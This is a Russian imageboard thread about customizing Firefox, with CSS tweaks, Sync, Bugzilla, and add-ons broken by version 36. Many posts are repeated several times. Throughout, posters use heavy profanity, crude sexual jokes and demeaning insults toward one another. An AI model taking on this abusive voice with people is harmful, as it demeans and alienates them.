Причем сначала накрылось на одном компьютере, на втором вроде работало, а потом и там все ебнулось.
>>1179916
Алсо 2. С яндексом понятно — он всегда любит кидать пользователей через плечо. Недавно выпилил яндекс.закладки и вполне ожидаемо, что отключит яндекс.перевод, но какого хуя не работает все остальное?
Алсо 2. С яндексом понятно — он всегда любит кидать пользователей через плечо. Недавно выпилил яндекс.закладки и вполне ожидаемо, что отключит яндекс.перевод, но какого хуя не работает все остальное?
>>1179313
Ты зато дохуя полезен.
>>1179621
2. Стиль: @namespace url(http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul);
@-moz-document url("chrome://browser/content/browser.xul"){ #personal-bookmarks{max-width:200px!important;} }
Если надо, чтобы они всегда занимали фиксированную длину, убираешь "max-". Длину в пикселях сам подбери.
1. Ну не знаем мы, сам погугли, чё ты как этот... новый ньюфаг
>>1179763 Подтверждаю.
Ты (>>1179766) бы попробовал нажать лкм на флеш-плеер в ютубе, чтоб началось воспроизведение, а потом закрыть окно Ctrl+W
>>1179777
Ну некоторые мелкие можно слить в одно, если разбираешься в коде. RestoreEmptyFavicon можешь сразу выкинуть и взять мой стиль:
@namespace url(http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul);
@-moz-document url("chrome://browser/content/browser.xul"){ .tab-throbber:not([busy]) + .tab-icon-image
{ display: inline !important; } }
Ты зато дохуя полезен.
>>1179621
2. Стиль: @namespace url(http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul);
@-moz-document url("chrome://browser/content/browser.xul"){ #personal-bookmarks{max-width:200px!important;} }
Если надо, чтобы они всегда занимали фиксированную длину, убираешь "max-". Длину в пикселях сам подбери.
1. Ну не знаем мы, сам погугли, чё ты как этот... новый ньюфаг
>>1179763 Подтверждаю.
Ты (>>1179766) бы попробовал нажать лкм на флеш-плеер в ютубе, чтоб началось воспроизведение, а потом закрыть окно Ctrl+W
>>1179777
Ну некоторые мелкие можно слить в одно, если разбираешься в коде. RestoreEmptyFavicon можешь сразу выкинуть и взять мой стиль:
@namespace url(http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul);
@-moz-document url("chrome://browser/content/browser.xul"){ .tab-throbber:not([busy]) + .tab-icon-image
{ display: inline !important; } }
>>1180175
На флеше и на хтмл5 всё работает.
На флеше и на хтмл5 всё работает.
>>1180133 >>1180175
Может быть у тебя Линукс? В html5-версии конкретно этот хоткей тоже блокируется, поэтому я его и сказал.
Хз, у тебя не как у всех. В сети много упоминаний http://otvety.google.ru/otvety/thread?tid=550bc5986e83fa90
Может быть у тебя Линукс? В html5-версии конкретно этот хоткей тоже блокируется, поэтому я его и сказал.
Хз, у тебя не как у всех. В сети много упоминаний http://otvety.google.ru/otvety/thread?tid=550bc5986e83fa90
>>1180189
Ну вот. А на винде люди немного перетекают на хром, в котором флэш с фокусом не препятствует хоткеям
Ну вот. А на винде люди немного перетекают на хром, в котором флэш с фокусом не препятствует хоткеям
>>1180191
У хрома что-то вроде своего ембдед-флеша же.
У хрома что-то вроде своего ембдед-флеша же.
>>1179908
С Яндексом была такая хуита несколько дней назад - оказалось он обновиться хотел.
С Яндексом была такая хуита несколько дней назад - оказалось он обновиться хотел.
Котаны, поясните мне за firefox sync, никогда никакими облаками не пользвовался? пароли хранил в кипасе, синк нужен только для синхронизациями паролей между девайсами? Пароли где храняться?
>>1180389
У мозиллы они хрянятся. Не советую, глючный он какой-то, я в 4 случаях из 5 не смог засинхить пароли, остался на ластпассе. Но ты попробуй.
У мозиллы они хрянятся. Не советую, глючный он какой-то, я в 4 случаях из 5 не смог засинхить пароли, остался на ластпассе. Но ты попробуй.
>>1180416
Ок. Спасибо.
Ок. Спасибо.
>>1180389
Для синхронизации не только паролей, но и расширений, некоторых настроек about:config, текущих вкладок, истории и букмарков. Иногда синхронизирует не все расширения, по крайней мере год назад было так.
Для синхронизации не только паролей, но и расширений, некоторых настроек about:config, текущих вкладок, истории и букмарков. Иногда синхронизирует не все расширения, по крайней мере год назад было так.
439 Кб, 1365x444
399 Кб, 1365x472
Лисач, я напилил небольшой компактный стиль для about:addons, вдохновившись расширением Slim Addons. Оцени, выскажи какие-нибудь предложения дизайнерские... Сразу скажу, что кнопки управления можно оставить и в самом конце, но мне показалось, что к ним легче тянуться в центр. В общем, отзовитесь как-нибудь.
>>1180616
К чему это васянство? Шрифты слишком жирные, иконки слишком болшие.
К чему это васянство? Шрифты слишком жирные, иконки слишком болшие.
437 Кб, 1365x424
Ну а так, скажем? Заодно перекинул кнопки вправо. Лично меня всегда раздражало, что кнопки "подробнее" расположены не в один столбец. Что у них вообще какой-то не табличный вид.
>>1180105
Developer edition’s theme, точно. Спасибо за стиль.
Developer edition’s theme, точно. Спасибо за стиль.
Как сделать звёздочку закладки в адресной строке справа, как была?
Как сделать панель дополнений справа внизу, как было раньше?
Как сделать панель дополнений справа внизу, как было раньше?
бамп лисоны
0 Кб, 116x28
При клике на какое-либо место на странице, появляется курсор аки пикрелейтед. Как его убрать?
Давеча хотел выразить свое негодование блядоватостью вашего прыщавого браузера.
Вынужден использовать Firefox из-за vimperatorа и того, что хром следит за мной. Но вот я заметил: все нормальные браузеры типа chrome и Safari уже давно миллионы лет назад избавились от двух строк ввода. Поисковые запросы и url'я много лет вбивают в одну и ту же строку. При этом автодополнение и поисковые подсказки у них нормально работают, никто не обсирается. Но здесь же блять все не как у людей. Хочешь видеть поисковые подсказки - вбивай в одно поле, хочешь урлы автодополнять - в другое. Блять, неужели тяжело было догадаться, что это блять неудобно? Какого хуя я вообще должен думать, какое поле использовать, если нормальная практика - их объединять.
Ну да хуй с ним. Лиса же, как известно, славится своими дополнениями, коих миллиарды. Отлично, есть instantfox! Который делает собственно то, что я хочу. Судя по активности на GitHub он даже не заброшен! Ура! Ставлю его, начинаю пользоваться и охуеваю. В 36-ой лисе он был сломан и никто его не чинит вот уже сраный месяц.
Я просто хуею. Что за поебень. Какие-то привычные вещи, которыми я пользуюсь всю жизнь, просто берут и ломаются с выходом мажорного релиза. Это просто пизда, прыщеблядство во всей своей красе я бы сказал.
Итого: нормальной поддержки дополнения урлов и поисковых запросов в одной строке в лисе нет и когда она появится хуй знает. Просто, блять, хуитень.
Вынужден использовать Firefox из-за vimperatorа и того, что хром следит за мной. Но вот я заметил: все нормальные браузеры типа chrome и Safari уже давно миллионы лет назад избавились от двух строк ввода. Поисковые запросы и url'я много лет вбивают в одну и ту же строку. При этом автодополнение и поисковые подсказки у них нормально работают, никто не обсирается. Но здесь же блять все не как у людей. Хочешь видеть поисковые подсказки - вбивай в одно поле, хочешь урлы автодополнять - в другое. Блять, неужели тяжело было догадаться, что это блять неудобно? Какого хуя я вообще должен думать, какое поле использовать, если нормальная практика - их объединять.
Ну да хуй с ним. Лиса же, как известно, славится своими дополнениями, коих миллиарды. Отлично, есть instantfox! Который делает собственно то, что я хочу. Судя по активности на GitHub он даже не заброшен! Ура! Ставлю его, начинаю пользоваться и охуеваю. В 36-ой лисе он был сломан и никто его не чинит вот уже сраный месяц.
Я просто хуею. Что за поебень. Какие-то привычные вещи, которыми я пользуюсь всю жизнь, просто берут и ломаются с выходом мажорного релиза. Это просто пизда, прыщеблядство во всей своей красе я бы сказал.
Итого: нормальной поддержки дополнения урлов и поисковых запросов в одной строке в лисе нет и когда она появится хуй знает. Просто, блять, хуитень.
>>1180934
Исходя из этого я делаю вывод, что лиса это браузер для одного из двух типов людей:
1. Те, кто не пытаются оптимизировать свое взаимодействие с интерфейсом и которые водят мышкой по экрану а потом делают двойные щелчки левой клавишей мыши;
2. Прыщавых борщехлебов, которые вместо того, чтобы заниматься работой, допиливают плагинчики без которых браузер не имеет простейшего базового функционала, совместимость с которыми потом без оглядки ломают бояре которые пишут саму лису. Предполагаю, что борщехлебы после этого довольно подхихикивают и благодарят своих хозяев за то, что те снова им все сломали нахуй и можно еще некоторое количество часов проебаться фикся свои поделия.
Исходя из этого я делаю вывод, что лиса это браузер для одного из двух типов людей:
1. Те, кто не пытаются оптимизировать свое взаимодействие с интерфейсом и которые водят мышкой по экрану а потом делают двойные щелчки левой клавишей мыши;
2. Прыщавых борщехлебов, которые вместо того, чтобы заниматься работой, допиливают плагинчики без которых браузер не имеет простейшего базового функционала, совместимость с которыми потом без оглядки ломают бояре которые пишут саму лису. Предполагаю, что борщехлебы после этого довольно подхихикивают и благодарят своих хозяев за то, что те снова им все сломали нахуй и можно еще некоторое количество часов проебаться фикся свои поделия.
>>1180935
Так и представил. Про этом надо мультик сделать!
> Предполагаю, что борщехлебы после этого довольно подхихикивают и благодарят своих хозяев за то
Так и представил. Про этом надо мультик сделать!
>>1180934
это да, лиса довольно хуёвая, но единственная альтернатива - анальная интеграция от гугла
поставь Foobar. очень минималистичный реплейсер строки ввода, и убери строку поиска нахуй с панели
>Но здесь же блять все не как у людей.
это да, лиса довольно хуёвая, но единственная альтернатива - анальная интеграция от гугла
поставь Foobar. очень минималистичный реплейсер строки ввода, и убери строку поиска нахуй с панели
>>1180934
Мда.
А в чём, собственно, конкретная проблема? Я просто поисковые запросы никогда в url-bar не пишу, вот и не знаю.
>боится слежки
>хочет вбивать поисковый запрос туда же, куда адрес
Мда.
А в чём, собственно, конкретная проблема? Я просто поисковые запросы никогда в url-bar не пишу, вот и не знаю.
6 Кб, 232x88
Можно каштомную иконку напредолить для одного расширеньица на панели инструментов? Пикрелейтед. Кифокс. Хочу чтобы как у кипасса была.
>>1181277
Тебе алгоритм прислать? Или сразу код? Это ведь реализовано как-то в сафари и хроме, значит это возможно. То, как это реализовано в сафари или хроме устроило бы ощутимую долю пользователей этих браузеров, у которых стало бы на одну причину меньше не переходить на Firefox. Да и не обязательно такое поведение делать стандартом, можно его просто поддержать как опциональным возможность. В конце концов менее удобное, но тоже приемлемое поведение реализовано в instantfox. Хотя бы его не ломали бы своей обратной несовместимостью.
Тебе алгоритм прислать? Или сразу код? Это ведь реализовано как-то в сафари и хроме, значит это возможно. То, как это реализовано в сафари или хроме устроило бы ощутимую долю пользователей этих браузеров, у которых стало бы на одну причину меньше не переходить на Firefox. Да и не обязательно такое поведение делать стандартом, можно его просто поддержать как опциональным возможность. В конце концов менее удобное, но тоже приемлемое поведение реализовано в instantfox. Хотя бы его не ломали бы своей обратной несовместимостью.
>>1181456
чем?
чем?
>>1181456
Кек.
Вообще, проиграл со слоупочного васяна, секурити фиксы у него через две недели после объявления об уязвимости.
https://www.mozilla.org/en-US/security/advisories/mfsa2015-11/
>много умных слов, смысла которых я всё равно не понимаю
Кек.
Вообще, проиграл со слоупочного васяна, секурити фиксы у него через две недели после объявления об уязвимости.
https://www.mozilla.org/en-US/security/advisories/mfsa2015-11/
>February 24, 2015
>>1180934
По этому поводу Мозиллу крыли хуями вообще все, кому не лень. Но им похуй, более того - Мозилла делает все, чтобы разработчики просто забили на Файрфокс и перестали писать дополнения. Я даже цитаты япошки-разработчика ТСТ в прошлых тредах постил, он тоже охуевает от происходящего.
>>1180935
Ну, раз в Хроме этот фунционал есть, то да, такой функционал можно считать базовым, т.к. Хром со своей долей рынка задает тренды, по сути. Я вообще считаю, что ФФ нужно пойти по стопам Оперы и превратить браузер в комбайн с дополнениями. Та же акселеративная прокрутка, менеджер сессий, стеки вкладок, панель вкладок в несколько рядов - все это должно в стандартной поставке быть.
>>1181285
Иконки в .xpi лежат, который при установке с АМО скачивается. Теоретически: открываешь xpi архиватором, меняешь файл иконки, запаковываешь обратно, устанавливаешь.
>>1181326
В Tab Mix Plus есть опция Объединение окон, но хуй знает, как она работает.
>Я просто хуею. Что за поебень. Какие-то привычные вещи, которыми я пользуюсь всю жизнь, просто берут и ломаются с выходом мажорного релиза. Это просто пизда, прыщеблядство во всей своей красе я бы сказал.
По этому поводу Мозиллу крыли хуями вообще все, кому не лень. Но им похуй, более того - Мозилла делает все, чтобы разработчики просто забили на Файрфокс и перестали писать дополнения. Я даже цитаты япошки-разработчика ТСТ в прошлых тредах постил, он тоже охуевает от происходящего.
>>1180935
>браузер не имеет простейшего базового функционала
Ну, раз в Хроме этот фунционал есть, то да, такой функционал можно считать базовым, т.к. Хром со своей долей рынка задает тренды, по сути. Я вообще считаю, что ФФ нужно пойти по стопам Оперы и превратить браузер в комбайн с дополнениями. Та же акселеративная прокрутка, менеджер сессий, стеки вкладок, панель вкладок в несколько рядов - все это должно в стандартной поставке быть.
>>1181285
Иконки в .xpi лежат, который при установке с АМО скачивается. Теоретически: открываешь xpi архиватором, меняешь файл иконки, запаковываешь обратно, устанавливаешь.
>>1181326
В Tab Mix Plus есть опция Объединение окон, но хуй знает, как она работает.
>>1181480
хуйню не неси. большинство бравзеров давно на одном уровне - что хром, что опера, что даже осёл - с некоторым опозданием
одна лиса, блять, отстаёт на пару лет
>Ну, раз в Хроме этот фунционал есть, то да, такой функционал можно считать базовым, т.к. Хром со своей долей рынка задает тренды, по сути
хуйню не неси. большинство бравзеров давно на одном уровне - что хром, что опера, что даже осёл - с некоторым опозданием
одна лиса, блять, отстаёт на пару лет
>>1181484
Чего не хватает нашему петушку в этот раз? Анального зонда с регулировкой толщины головки?
>лиса отстаёт на пару лет
Чего не хватает нашему петушку в этот раз? Анального зонда с регулировкой толщины головки?
Отрапортовал баг на багзилле, после создания выскочило сообщение, что почта отправлена 34 адресатам. Я подобосрался маленько, это стандартная процедура или я накосячил где-то? Прям какая-то спам-рассылка получилась. Еще у меня в графу пользователи добавился мистер Питерсен вместе с господином Мэтьйес и мсье Шапиро.
>>1181520
Бля. Добавил ключевое слово, и опять рассылка 34 рылам пошла. Всё, закрыл вкладку нахуй и ебись оно конем.
Бля. Добавил ключевое слово, и опять рассылка 34 рылам пошла. Всё, закрыл вкладку нахуй и ебись оно конем.
>>1181480
Собственно об этом я и говорю: не хотите копировать хром - сделайте так, чтобы к вашему браузеру можно было прикрутить то, чего хромо богам не хватает. Не хотите и этого - сделайте какую-то фичу, которая взорвет рынок на хуй. Если вам ни один вариант не подходит, то сосите хуй со своей недодолей пользователей.
Впрочем я с файрфокса всё равно никуда не уйду, так как я своего рода гик и вимператор без анального рабства Гугла мне больше взять негде, поэтому придется жрать какашки. Я уже чувствую, что скоро придется форкнуть instantfox и сделать фиксы под себя, хотя мне этого ой как не хочется. Но без какашек лисы всё равно было бы приятней.
Собственно об этом я и говорю: не хотите копировать хром - сделайте так, чтобы к вашему браузеру можно было прикрутить то, чего хромо богам не хватает. Не хотите и этого - сделайте какую-то фичу, которая взорвет рынок на хуй. Если вам ни один вариант не подходит, то сосите хуй со своей недодолей пользователей.
Впрочем я с файрфокса всё равно никуда не уйду, так как я своего рода гик и вимператор без анального рабства Гугла мне больше взять негде, поэтому придется жрать какашки. Я уже чувствую, что скоро придется форкнуть instantfox и сделать фиксы под себя, хотя мне этого ой как не хочется. Но без какашек лисы всё равно было бы приятней.
>>1181540
Нормальная практика в коллективной разработке. Не переживай, основная масса их его даже не прочитает.
Нормальная практика в коллективной разработке. Не переживай, основная масса их его даже не прочитает.
>>1181601
Подожди немного. Вот firefoxOS взлетит, тогда и заживем.
Подожди немного. Вот firefoxOS взлетит, тогда и заживем.
фоксаны, посоветуйте менеджер закладок типа покета. Покет не нравится тем, что там нет банальных папок и одними тегами нормально не отсортируешь все, а ставить теги на каждую закладку, когда их овер дохуя, можно заебаться.
>>1180940
ЦЫТАТА с ОФФИЦИАЛЬНОГО сайта АДДОНА
Ну ебана в рот. Интересно, какая доля плагинов сломалась при выходе 36.
ЦЫТАТА с ОФФИЦИАЛЬНОГО сайта АДДОНА
>Great addon but it's not working with Firefox 36. It's as dead as a dodo. Fix it ASAP please!
>as dead as a dodo
Ну ебана в рот. Интересно, какая доля плагинов сломалась при выходе 36.
кто юзал cyberfox? очередная васяно сборка или норм?
>>1181647
хуй знает, о чём ты. вот прямо вчера обновился этот плагин
хуй знает, о чём ты. вот прямо вчера обновился этот плагин
>>1181660
А я смотрю обстоятельный changelog у новой версии. Сразу ясно, что поменяли.
Ок, сейчас попробую, спасибо.
А я смотрю обстоятельный changelog у новой версии. Сразу ясно, что поменяли.
Ок, сейчас попробую, спасибо.
>>1181675
типичная проблема прыщесофта - отсутствие документации. скорее всего, фиксы для новой версии лисы
типичная проблема прыщесофта - отсутствие документации. скорее всего, фиксы для новой версии лисы
>>1181476
https://www.mozilla.org/en-US/firefox/36.0/releasenotes/
Васян, у тебя сперма в глазу, вытри.
>его в фф только сегодня пофиксили
>fixed in Firefox 36
>February 24, 2015
https://www.mozilla.org/en-US/firefox/36.0/releasenotes/
Васян, у тебя сперма в глазу, вытри.
>>1181686
И что ты тут мне такое тычешь? Какого хуя я должен читать комментарии к чужим отзывам? Для этого есть changelog, release notes, хуй знает. А отмечать исправления в комментах к комментам это пиздецома головного мозга какая-то.
И что ты тут мне такое тычешь? Какого хуя я должен читать комментарии к чужим отзывам? Для этого есть changelog, release notes, хуй знает. А отмечать исправления в комментах к комментам это пиздецома головного мозга какая-то.
>>1181698
Ладно, извини, возможно я погорячился. Все-таки это прыщавые разработчики прыщавого аддона для браузера. Им скидка на интеллектуальное развитие нужна.
Ладно, извини, возможно я погорячился. Все-таки это прыщавые разработчики прыщавого аддона для браузера. Им скидка на интеллектуальное развитие нужна.
>>1181727
Спасибо.
Спасибо.
>>1180709 >>1180662 >>1180921
Я постарался учесть все предложения, но были проблемы с интернетом и сном и с мамкой. Корзину тупо украл из FXChrome, но исправил баг, который у меня с ней [корзиной] возникал. Если будут баги, пишите, наверное, итт. Для настройки прожать нужные чекбоксы:
https://dl.dropboxusercontent.com/s/vew2alwt8qna0o5/Style%20for%20FirefoX.htm?dl=0
Я постарался учесть все предложения, но были проблемы с интернетом и сном и с мамкой. Корзину тупо украл из FXChrome, но исправил баг, который у меня с ней [корзиной] возникал. Если будут баги, пишите, наверное, итт. Для настройки прожать нужные чекбоксы:
https://dl.dropboxusercontent.com/s/vew2alwt8qna0o5/Style%20for%20FirefoX.htm?dl=0
>>1181326
Берёшь Multiple Tab Handler, жмёшь в одном окне на первую вкладку и, зажав шифт, на последнюю. Тащишь вкладки в другое окно.
>>1180922
https://addons.mozilla.org/ru/firefox/addon/477500 если не понравится, то: https://addons.mozilla.org/ru/firefox/addon/472577
>>1180934
Понятно, хромог негодует из-за своей любимой одной (sic!) фичи. Лично мне это в хроме и не понравилось - что он всегда тычет свои предложения. Тебе наверняка не приходило в голову, что есть другие люди, которым нужна не такая фича, а немного другая. Иногда нужно посетить сайт из закладок или истории, например, а собственно поисковые предложения нужны не всегда, и если всё перечисленное показывать в одном списке, то это займёт 1,5 экрана. Кстати, Omnibar+Omnibar Plus вроде не сломаны.
Берёшь Multiple Tab Handler, жмёшь в одном окне на первую вкладку и, зажав шифт, на последнюю. Тащишь вкладки в другое окно.
>>1180922
https://addons.mozilla.org/ru/firefox/addon/477500 если не понравится, то: https://addons.mozilla.org/ru/firefox/addon/472577
>>1180934
Понятно, хромог негодует из-за своей любимой одной (sic!) фичи. Лично мне это в хроме и не понравилось - что он всегда тычет свои предложения. Тебе наверняка не приходило в голову, что есть другие люди, которым нужна не такая фича, а немного другая. Иногда нужно посетить сайт из закладок или истории, например, а собственно поисковые предложения нужны не всегда, и если всё перечисленное показывать в одном списке, то это займёт 1,5 экрана. Кстати, Omnibar+Omnibar Plus вроде не сломаны.
>>1181933
Omnibar был сломан на момент, когда я его пробовал. Сейчас поставил foobar, который вчера (sic!) починили спустя какой-то месяц после релиза лисы. Omnibar пробовать уже не буду, извини.
А я и не навязывал эту фичу по умолчанию. Если ты почитаешь мои следующие сообщения, то сможешь заметить, что я как минимум два раза повторял, что меня вполне устроило бы то, что такая фича будет доступна опционально. Но до вчерашнего дня и этого было нельзя сделать ( если твой омнибар был починен раньше, то до двух недель назад, так как пару недель назад я его пробовал ставить).
Поэтому я обоснованно назвал лису браузером склонным к прыщавости, а его пользователей поделил на две категории: которым наплевать на свою эффективность и борщехлебов, которые после каждого релиза берут в руки напильники.и хлебая мамкин борщ подпиливают свои АДДОНы. А вот с какой такой стати ты назвал меня хромогом, предлагаю тебе объяснить, если сумеешь не слиться как пердоликсы, не принимающие взглядов на вещи за исключением тех, которые для них придумали (много тем не менее уважаемые) разработчики юникса.
Omnibar был сломан на момент, когда я его пробовал. Сейчас поставил foobar, который вчера (sic!) починили спустя какой-то месяц после релиза лисы. Omnibar пробовать уже не буду, извини.
А я и не навязывал эту фичу по умолчанию. Если ты почитаешь мои следующие сообщения, то сможешь заметить, что я как минимум два раза повторял, что меня вполне устроило бы то, что такая фича будет доступна опционально. Но до вчерашнего дня и этого было нельзя сделать ( если твой омнибар был починен раньше, то до двух недель назад, так как пару недель назад я его пробовал ставить).
Поэтому я обоснованно назвал лису браузером склонным к прыщавости, а его пользователей поделил на две категории: которым наплевать на свою эффективность и борщехлебов, которые после каждого релиза берут в руки напильники.и хлебая мамкин борщ подпиливают свои АДДОНы. А вот с какой такой стати ты назвал меня хромогом, предлагаю тебе объяснить, если сумеешь не слиться как пердоликсы, не принимающие взглядов на вещи за исключением тех, которые для них придумали (много тем не менее уважаемые) разработчики юникса.
>>1182095
Скажем так, неработающие аддоны есть на любом браузере, и на каждую фичу найдётся выёбистый анон вроде тебя, который считает, что разработка - это просто, и точно знает, какими должны быть фичи, браузер, и кто виноват. Лично я считаю такие предъявы характеристикой личности, а не браузера. Вот я почти неделю назад отрепортил Remove Cookies For Site, даже код прислал - и что, он обновился? Хуй там. В этом тоже разработчики браузера виноваты? Хватит искать виноватых, ананасус.
Скажем так, неработающие аддоны есть на любом браузере, и на каждую фичу найдётся выёбистый анон вроде тебя, который считает, что разработка - это просто, и точно знает, какими должны быть фичи, браузер, и кто виноват. Лично я считаю такие предъявы характеристикой личности, а не браузера. Вот я почти неделю назад отрепортил Remove Cookies For Site, даже код прислал - и что, он обновился? Хуй там. В этом тоже разработчики браузера виноваты? Хватит искать виноватых, ананасус.
>>1182106
Позволь с тобой не согласиться, дорогой анонимусас. Я прекрасно понимаю, что разработка - это зачастую грустно и напряжно. Лишь По этой причине я и не форкнул instantfox и не сделал пулл реквест с фиксом.
И по этой же причине считаю плохим подход, когда мажорный релиз ломает мильон зависящих от него проектов. Instantfox не единственное сломанное на момент релиза 36 дополнение, omnibar был так же сломан. Так же было сломано и еще одно дополнение, которое я пытался себе поставить для доступа к закладкам по Ctrl+1..9. Я подозреваю, что их было сломано дохуя.
Как это должно было быть сделано в моем манямирке:
1. Начиная с версии X разработчики лисы должны были отправить разработчикам АДДОНов письма счастья следующего содержания:
"Дорогие ебаные разработчики ваших ебаных плагинов! Мы с пацанами подумали и решили в дальнейшем выпилить тут пару фичей, которые вы возможно используете, поэтому начиная с данного релиза они становятся deprecated, а потом спустя какое-то время мы их выпилим нахуй, поэтому делайте теперь вот так и вот так, а не как раньше"
2. Прислать письмо разработчикам с напоминанием перед релизом Y, в котором эти фичи будут выпилены, еще раз;
3. Перед обновлением лисы проверять обновления пользователя на использование выпиленных фичей и писать ему в случае чего:
АТТЕНШН, БЛЯТЬ Как я вижу ты тут используешь говно, которое использует фичи, которые в новом релизе выпилены. Скорее всего это говно сломается и ты почувствуешь боль в районе своей анальной жопы. Ты все еще уверен, что хочешь обновиться или может ну его нахуй?
И предложить две кнопочки:
|ОК. Мне похуй|
|НЕТ. Нахуй ваше обновление|
Я не знаю, были ли выполнены первые два пункта, но подозреваю, что нет, так как instantfox выглядит далеко не как заброшенный проект и вряд ли бы они пропустили эти письма, хотя это и возможно. Но отсутствие третьего пункта это прямое наплевательское отношение уже к своим пользователям, а не разработчикам. Ну как тут не искать виноватых, скажи мне, если не выполнив эти три пункта разработчики лисы берут и ломают мне жизнь?
Понятное дело, что теперь я тёртый калач и свою попку всякому мажорному релизу лисы не подставлю, пока он не проживет пару месяцев, но не правда ли проще было бы просто выполнить три пункта, которые я тут привел, чем так гандошить своих пользователей и потом говорить, что должны были сами мозги включать прежде чем нажимать на кнопочку на которой было написано: ДА-ДА, обнови меня скорее детка, я стала еще сексуальнее и уже вся теку, обнови меня скорее и ты зальешь монитор спермой от одного взгляда на меня
Позволь с тобой не согласиться, дорогой анонимусас. Я прекрасно понимаю, что разработка - это зачастую грустно и напряжно. Лишь По этой причине я и не форкнул instantfox и не сделал пулл реквест с фиксом.
И по этой же причине считаю плохим подход, когда мажорный релиз ломает мильон зависящих от него проектов. Instantfox не единственное сломанное на момент релиза 36 дополнение, omnibar был так же сломан. Так же было сломано и еще одно дополнение, которое я пытался себе поставить для доступа к закладкам по Ctrl+1..9. Я подозреваю, что их было сломано дохуя.
Как это должно было быть сделано в моем манямирке:
1. Начиная с версии X разработчики лисы должны были отправить разработчикам АДДОНов письма счастья следующего содержания:
"Дорогие ебаные разработчики ваших ебаных плагинов! Мы с пацанами подумали и решили в дальнейшем выпилить тут пару фичей, которые вы возможно используете, поэтому начиная с данного релиза они становятся deprecated, а потом спустя какое-то время мы их выпилим нахуй, поэтому делайте теперь вот так и вот так, а не как раньше"
2. Прислать письмо разработчикам с напоминанием перед релизом Y, в котором эти фичи будут выпилены, еще раз;
3. Перед обновлением лисы проверять обновления пользователя на использование выпиленных фичей и писать ему в случае чего:
АТТЕНШН, БЛЯТЬ Как я вижу ты тут используешь говно, которое использует фичи, которые в новом релизе выпилены. Скорее всего это говно сломается и ты почувствуешь боль в районе своей анальной жопы. Ты все еще уверен, что хочешь обновиться или может ну его нахуй?
И предложить две кнопочки:
|ОК. Мне похуй|
|НЕТ. Нахуй ваше обновление|
Я не знаю, были ли выполнены первые два пункта, но подозреваю, что нет, так как instantfox выглядит далеко не как заброшенный проект и вряд ли бы они пропустили эти письма, хотя это и возможно. Но отсутствие третьего пункта это прямое наплевательское отношение уже к своим пользователям, а не разработчикам. Ну как тут не искать виноватых, скажи мне, если не выполнив эти три пункта разработчики лисы берут и ломают мне жизнь?
Понятное дело, что теперь я тёртый калач и свою попку всякому мажорному релизу лисы не подставлю, пока он не проживет пару месяцев, но не правда ли проще было бы просто выполнить три пункта, которые я тут привел, чем так гандошить своих пользователей и потом говорить, что должны были сами мозги включать прежде чем нажимать на кнопочку на которой было написано: ДА-ДА, обнови меня скорее детка, я стала еще сексуальнее и уже вся теку, обнови меня скорее и ты зальешь монитор спермой от одного взгляда на меня
>>1182106
Позволь с тобой не согласиться, дорогой анонимусас. Я прекрасно понимаю, что разработка - это зачастую грустно и напряжно. Лишь По этой причине я и не форкнул instantfox и не сделал пулл реквест с фиксом.
И по этой же причине считаю плохим подход, когда мажорный релиз ломает мильон зависящих от него проектов. Instantfox не единственное сломанное на момент релиза 36 дополнение, omnibar был так же сломан. Так же было сломано и еще одно дополнение, которое я пытался себе поставить для доступа к закладкам по Ctrl+1..9. Я подозреваю, что их было сломано дохуя.
Как это должно было быть сделано в моем манямирке:
1. Начиная с версии X разработчики лисы должны были отправить разработчикам АДДОНов письма счастья следующего содержания:
"Дорогие ебаные разработчики ваших ебаных плагинов! Мы с пацанами подумали и решили в дальнейшем выпилить тут пару фичей, которые вы возможно используете, поэтому начиная с данного релиза они становятся deprecated, а потом спустя какое-то время мы их выпилим нахуй, поэтому делайте теперь вот так и вот так, а не как раньше"
2. Прислать письмо разработчикам с напоминанием перед релизом Y, в котором эти фичи будут выпилены, еще раз;
3. Перед обновлением лисы проверять обновления пользователя на использование выпиленных фичей и писать ему в случае чего:
АТТЕНШН, БЛЯТЬ Как я вижу ты тут используешь говно, которое использует фичи, которые в новом релизе выпилены. Скорее всего это говно сломается и ты почувствуешь боль в районе своей анальной жопы. Ты все еще уверен, что хочешь обновиться или может ну его нахуй?
И предложить две кнопочки:
|ОК. Мне похуй|
|НЕТ. Нахуй ваше обновление|
Я не знаю, были ли выполнены первые два пункта, но подозреваю, что нет, так как instantfox выглядит далеко не как заброшенный проект и вряд ли бы они пропустили эти письма, хотя это и возможно. Но отсутствие третьего пункта это прямое наплевательское отношение уже к своим пользователям, а не разработчикам. Ну как тут не искать виноватых, скажи мне, если не выполнив эти три пункта разработчики лисы берут и ломают мне жизнь?
Понятное дело, что теперь я тёртый калач и свою попку всякому мажорному релизу лисы не подставлю, пока он не проживет пару месяцев, но не правда ли проще было бы просто выполнить три пункта, которые я тут привел, чем так гандошить своих пользователей и потом говорить, что должны были сами мозги включать прежде чем нажимать на кнопочку на которой было написано: ДА-ДА, обнови меня скорее детка, я стала еще сексуальнее и уже вся теку, обнови меня скорее и ты зальешь монитор спермой от одного взгляда на меня
Позволь с тобой не согласиться, дорогой анонимусас. Я прекрасно понимаю, что разработка - это зачастую грустно и напряжно. Лишь По этой причине я и не форкнул instantfox и не сделал пулл реквест с фиксом.
И по этой же причине считаю плохим подход, когда мажорный релиз ломает мильон зависящих от него проектов. Instantfox не единственное сломанное на момент релиза 36 дополнение, omnibar был так же сломан. Так же было сломано и еще одно дополнение, которое я пытался себе поставить для доступа к закладкам по Ctrl+1..9. Я подозреваю, что их было сломано дохуя.
Как это должно было быть сделано в моем манямирке:
1. Начиная с версии X разработчики лисы должны были отправить разработчикам АДДОНов письма счастья следующего содержания:
"Дорогие ебаные разработчики ваших ебаных плагинов! Мы с пацанами подумали и решили в дальнейшем выпилить тут пару фичей, которые вы возможно используете, поэтому начиная с данного релиза они становятся deprecated, а потом спустя какое-то время мы их выпилим нахуй, поэтому делайте теперь вот так и вот так, а не как раньше"
2. Прислать письмо разработчикам с напоминанием перед релизом Y, в котором эти фичи будут выпилены, еще раз;
3. Перед обновлением лисы проверять обновления пользователя на использование выпиленных фичей и писать ему в случае чего:
АТТЕНШН, БЛЯТЬ Как я вижу ты тут используешь говно, которое использует фичи, которые в новом релизе выпилены. Скорее всего это говно сломается и ты почувствуешь боль в районе своей анальной жопы. Ты все еще уверен, что хочешь обновиться или может ну его нахуй?
И предложить две кнопочки:
|ОК. Мне похуй|
|НЕТ. Нахуй ваше обновление|
